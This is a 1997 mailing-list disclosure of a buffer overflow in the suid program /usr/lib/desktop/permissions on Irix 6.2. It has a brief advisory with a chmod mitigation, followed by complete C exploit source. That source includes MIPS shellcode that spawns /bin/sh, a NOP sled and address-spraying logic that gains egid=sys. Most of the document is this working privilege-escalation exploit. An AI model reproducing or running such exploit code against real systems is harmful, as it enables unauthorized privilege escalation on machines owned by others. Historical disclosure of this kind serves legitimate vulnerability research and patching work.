Date: Mon, 26 May 1997 23:06:10 +0100
From: David Hedley <[email protected]>
To: [email protected]Subject: another irix buffer overflow...
While we're on the subject, here's another buffer overflow for Irix 6.2
This time it's /usr/lib/desktop/permissions. Although it's suid root,
this exploit will only give you egid=sys. There may well be exploits
which get root from it so you'd be as well to
chmod u-s /usr/lib/desktop/permissions to be on the safe side.
As this exploit hits $gp, it won't work on Irix 5.3
Irix 6.3 isn't vulnerable as SGI appears not to ship it with the program
in question (although there is still a manual page for it).
You'll need to give the target machine access to your display for this
exploit to work.
Regards,
David
--
David Hedley ([email protected])
finger [email protected] for PGP key
Computer Graphics Group | University of Bristol | UK
------------------------- cut here --------------------------------------
/* /usr/lib/desktop/permissions exploit by DCRH 26/5/97
*
* This gives you egid = sys
*
* Tested on: R8000 Power Challenge (Irix64 6.2)
*
* Exploit doesn't work on Irix 5.x due to stack position
*
* compile as: cc -n32 perm.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#define NUM_ADDRESSES 400
#define BUF_LENGTH 700
#define EXTRA 500
#define OFFSET 0x200
#define GP_OFFSET 31612
#define IRIX_NOP 0x03e0f825 /* move $ra,$ra */
#define u_long unsigned
u_long get_sp_code[] = {
0x03a01025, /* move $v0,$sp */
0x03e00008, /* jr $ra */
0x00000000, /* nop */
};
u_long irix_shellcode[] = {
0x24041234, /* li $4,0x1234 */
0x2084edcc, /* sub $4,0x1234 */
0x0491fffe, /* bgezal $4,pc-4 */
0x03bd302a, /* sgt $6,$sp,$sp */
0x23e4012c, /* addi $4,$31,264+36 */
0xa086feff, /* sb $6,-264+7($4) */
0x2084fef8, /* sub $4,264 */
0x20850110, /* addi $5,$4,264+8 */
0xaca4fef8, /* sw $4,-264($5) */
0xaca6fefc, /* sw $4,-260($5) */
0x20a5fef8, /* sub $5, 264 */
0x240203f3, /* li $v0,1011 */
0x03ffffcc, /* syscall 0xfffff */
0x2f62696e, /* "/bin" */
0x2f7368ff, /* "/sh" */
};
char buf[NUM_ADDRESSES+BUF_LENGTH + EXTRA + 8];
void main(int argc, char **argv)
{
char *env[] = {NULL};
u_long targ_addr, stack, tmp;
u_long *long_p;
int i, code_length = strlen((char *)irix_shellcode)+1;
u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;
stack = get_sp();
if (stack & 0x80000000) {
printf("Recompile with the '-n32' option\n");
exit(1);
}
long_p =(u_long *) buf;
targ_addr = stack + OFFSET;
if (argc > 1)
targ_addr += atoi(argv[1]) * 4;
if (targ_addr + GP_OFFSET > 0x80000000) {
printf("Sorry - this exploit for Irix 6.x only\n");
exit(1);
}
tmp = (targ_addr + NUM_ADDRESSES + (BUF_LENGTH-code_length)/2) & ~3;
while ((tmp & 0xff000000) == 0 ||
(tmp & 0x00ff0000) == 0 ||
(tmp & 0x0000ff00) == 0 ||
(tmp & 0x000000ff) == 0)
tmp += 4;
for (i = 0; i < NUM_ADDRESSES/sizeof(u_long); i++)
*long_p++ = tmp;
for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
*long_p++ = IRIX_NOP;
for (i = 0; i < code_length/sizeof(u_long); i++)
*long_p++ = irix_shellcode[i];
tmp = (targ_addr + GP_OFFSET + NUM_ADDRESSES/2) & ~3;
for (i = 0; i < EXTRA / sizeof(u_long); i++)
*long_p++ = (tmp << 16) | (tmp >> 16);
*long_p = 0;
printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);
execle("/usr/lib/desktop/permissions", "permissions",
"-display", getenv("DISPLAY"), "/bin/ls", buf, 0, env);
perror("execl failed");
}
